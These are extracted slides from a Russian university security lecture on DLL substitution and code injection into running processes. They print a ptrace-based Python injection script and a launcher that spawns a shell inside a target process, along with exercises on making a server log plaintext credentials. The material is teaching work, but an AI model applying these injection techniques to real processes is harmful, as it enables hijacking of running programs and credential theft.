Лекция 5
.pdfПодмена dll |
|
Изменение дампа памяти Python-процесса |
Инъекция кода |
|||
py_ptrace.py (11) |
|
|
||||
199 |
with |
open ( '/ proc /{}/ maps '. format ( pid ), |
'r ') as |
fd : |
||
200 |
|
for l |
in |
fd : |
|
|
201 |
|
r |
= |
re . search (r ' ^([0 -9a -f ]*) -.*/ lib / ' |
+ |
|
202 |
|
|
|
' x86_64 - linux - gnu / ' + |
|
|
203 |
|
|
|
'libdl -2.19. so$ ', l) |
|
|
204 |
|
if |
r: |
|
|
|
205 |
|
|
|
n = int (r. group (1) , 16) |
|
|
206 |
|
|
|
break |
|
|
207if n is None :
208print ' not found libdl '
209sys . exit (1)
210offset = 4240
211regs . rax = n + offset
212libc . ptrace ( PTRACE_SETREGS , pid , None ,
213 |
ctypes . byref ( regs )) |
214 |
|
215# ffd0 - call rax
216libc . ptrace ( PTRACE_POKEDATA , pid ,
217 |
ctypes . c_void_p ( regs . rip), 0 xd0ff ) |
218 |
libc . ptrace ( PTRACE_CONT , pid , None , None ) |
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
46/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
py_ptrace.py (12)
219
220# wait while instruction is executed
221status = os . waitpid (pid , 0)
222 if os . WIFSTOPPED ( status [1]) and \
223os . WSTOPSIG ( status [1]) == signal . SIGTRAP :
224print ' successful trap '
225else :
226print ' unsuccessful trap '
227
228 libc . ptrace ( PTRACE_CONT , pid , None , None )
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
47/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
call_execve_via_dl.py |
|
||
1 |
# !/ usr / bin / python |
|
|
2 |
|
|
|
3 from |
argparse import ArgumentParser |
|
|
4 from |
py_ptrace import call_execve_via_dl |
||
5 |
|
|
|
6 arg_parser = ArgumentParser () |
|
||
7 arg_parser . add_argument ( '-p ', ' -- pid ', |
type =int , |
||
8 |
|
required = True , |
|
9 |
|
help = ' set process id ') |
|
10 arg_parser . add_argument ( '-a ', ' --addr ', |
type =int , |
||
11 |
|
required =False , |
|
12 |
|
help = ' set address ') |
|
13 |
|
|
|
14 args |
= arg_parser . parse_args () |
|
|
15 pid = |
args . pid |
|
|
16 addr |
= args . addr |
|
17 call_execve_via_dl (pid , addr )
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
48/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
Запуск
Выделение памяти
$./simple_loop_dl
23005: I'm alive and now ... $ ./alloc_pages.py -p \
23005: I'm alive and now ... |
$(pgrep simple_loop_dl) -n 1 \ |
|||
23005: I'm alive and now ... |
-d './execve_sh_dl.so ' |
|||
23005: I'm alive and now ... |
attached |
|||
23005: I'm |
alive |
and |
now ... |
successful trap |
23005: I'm |
alive |
and |
now ... |
rwx page has address 0x7f1038b0f000L |
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
49/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
Запуск
Выделение памяти
$./simple_loop_dl
23005: I'm alive and now ... $ ./alloc_pages.py -p \
23005: I'm alive and now ... |
|
$(pgrep simple_loop_dl) -n 1 \ |
23005: I'm alive and now ... |
|
-d './execve_sh_dl.so ' |
23005: I'm alive and now ... |
|
attached |
23005: I'm alive and now ... |
|
successful trap |
23005: I'm alive and now ... |
|
rwx page has address 0x7f1038b0f000L |
Запуск shell-интерпретатора |
|
|
Hello from dll |
|
$ ./call_execve_via_dl.py \ |
|
||
$ uname -r |
|
-p $(pgrep simple_loop_dl) \ |
3.16.0-7-amd64 |
|
-a $(printf "%d" 0x7f1038b0f000) |
|
|
attached |
|
|
successful trap |
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
49/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
Упражнения
1Изменить дамп памяти процесса server.py таким образом, чтобы в файл /tmp/out данные (логин, пароль) записывались в исходном виде
2Выполнить инъекцию кода (при помощи одного из трех алгоритмов) в процесс запущенной программы
simple_loop(_dl), приводящую к (одному из трех):
Xзапуску python-интерпретатора или
Xзависанию программы (при этом нет вывода в stdout) или Xдосрочному выходу из программы (вызову exit)
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
50/50 |